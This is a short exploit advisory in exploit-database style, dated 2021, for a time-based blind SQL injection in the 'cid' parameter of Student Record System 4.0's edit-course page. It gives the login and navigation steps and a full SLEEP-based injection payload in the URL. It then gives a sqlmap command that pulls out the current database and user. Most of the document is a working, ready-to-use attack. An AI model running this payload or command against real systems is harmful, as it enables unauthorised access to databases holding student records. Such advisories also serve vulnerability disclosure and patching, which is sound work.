# Exploit Title: Student Record System 4.0 - 'cid' SQL Injection
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage:
# Software Link:
# Version: V 4.0
# Tested on: WindowsXAMPP

# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-course.php
3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI url:http://localhost/schoolmanagement/pages/edit-course.php?cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI

If the web server makes you wait 5 seconds then it's vulnerable

# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user
